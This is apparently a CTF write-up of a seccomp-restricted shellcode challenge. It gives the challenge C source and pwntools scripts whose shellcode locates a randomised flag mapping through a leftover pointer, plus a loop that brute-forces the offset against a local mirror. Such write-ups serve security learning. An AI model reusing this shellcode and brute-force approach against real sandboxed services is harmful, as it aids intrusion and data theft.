{%hackmd @themes/dracula %}

This was a fun challenge that i enjoyed solving. Might have cheesed the solution, but that's the fun of it.

It had a few solves at the end of the CTF and most of the writeups that i've read have a totally different solution from mine. Could have said ``"easier"`` solution, but there's someone who cheesed it way more than i did ^^.

### Reviewing the code
The C code provided.
```C!
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <linux/seccomp.h>
#include <seccomp.h>
void setup_seccomp () {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_load(ctx);
if (ret) {
errx(1, "seccomp failed");
}
}
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char * tmp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
int urandom = open("/dev/urandom", O_RDONLY);
if (urandom < 0) {
errx(1, "open /dev/urandom failed");
}
read(urandom, tmp, 4);
close(urandom);
unsigned int offset = *(unsigned int *)tmp & ~0xFFF;
uint64_t addr = 0x1337000ULL + (uint64_t)offset;
char * flag = mmap((void *)addr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if (flag == MAP_FAILED) {
errx(1, "mapping flag failed");
}
int fd = open("flag.txt", O_RDONLY);
if (fd < 0) {
errx(1, "open flag.txt failed");
}
read(fd, flag, 128);
close(fd);
char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED) {
errx(1, "mmap failed");
}
char * stack = mmap((void *)0x13371337000, 0x4000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0);
if (stack == MAP_FAILED) {
errx(1, "failed to map stack");
}
printf("> ");
read(0, code, 0x100000);
setup_seccomp();
asm volatile(
".intel_syntax noprefix\n"
"mov rbx, 0x13371337\n"
"mov rcx, rbx\n"
"mov rdx, rbx\n"
"mov rdi, rbx\n"
"mov rsi, rbx\n"
"mov rsp, 0x13371337000\n"
"mov rbp, rbx\n"
"mov r8, rbx\n"
"mov r9, rbx\n"
"mov r10, rbx\n"
"mov r11, rbx\n"
"mov r12, rbx\n"
"mov r13, rbx\n"
"mov r14, rbx\n"
"mov r15, rbx\n"
"jmp rax\n"
".att_syntax prefix\n"
:
: [code] "rax" (code)
:
);
}
```
So, the flag is read into a mapped memory region called `flag`, which is readable and writeable. But the address used to map this region is a result of some calculations done using the random bytes read into the `tmp` memory region. We could read in shellcode, keeping in mind the seccomp rules only allow us to use the read and write syscalls. The other issue is, there's custom assembly that is ran before our shellcode is called, which populates rbp with `0x13371337` and rsp with `0x13371337000`(the fake stack address), so we don't know exactly where the stack was initially. Looking at the assembly, i noticed an interesting instruction right before the custom assembly.

It's copying the pointer to the address at `rbp-0x10` to rax and this address is the mapped memory of `code` where our shellcode is written to and executed. So, we have an address from the previous stack frame, which is good, because we can then find an offset of `tmp` from this address.
### Debugging

Now to find the offset.

Great! We have a way to calculate the value of the pointer which was used to map`flag`. So, from here i wrote simple shellcode to retrieve the offset, calculate the address where the flag was written to and write it's contents.
### Exploit
```python!
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./chal", checksec=False)
r = process()
# r = remote("amt.rs", 31173)
# sc
ints = """
mov r10, 0x1337000
mov r8, 0xfffff000
lea r9, [rax]+0x31b000
mov rsi, [r9]
and rsi, r8
add rsi, r10
xor rax, rax
inc rax
xor rdi, rdi
inc rdi
mov rdx, 0x30
syscall
"""
sc = asm(ints)
r.sendlineafter(b'>', sc)
r.interactive()
```

That works. So, how about on remote?

No dice. Well, offsets could change a lot, depending on the OS and architecture. So i decided to build a mirror of the server using the Dockerfile provided and then wrote a script to bruteforce the offset.
```python!
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./chal", checksec=False)
context.log_level = 'error'
# r = process()
# r = remote("amt.rs", 31173)
# sc
for i in range(0x300000, 0x400000, 0x1000):
r = remote("127.0.0.1", 5000)
ints = f"""
mov r10, 0x1337000
mov r8, 0xfffff000
lea r9, [rax]+{i}
mov rsi, [r9]
and rsi, r8
add rsi, r10
xor rax, rax
inc rax
xor rdi, rdi
inc rdi
mov rdx, 0x30
syscall
"""
sc = asm(ints)
r.sendlineafter(b'>', sc)
try:
out = r.recvline()
if b"amateurs" in out:
print(f"Found offset at: {hex(i)}")
break
except:
print(f"Tried {hex(i)}")
r.close()
```

This offset should now work on remote.

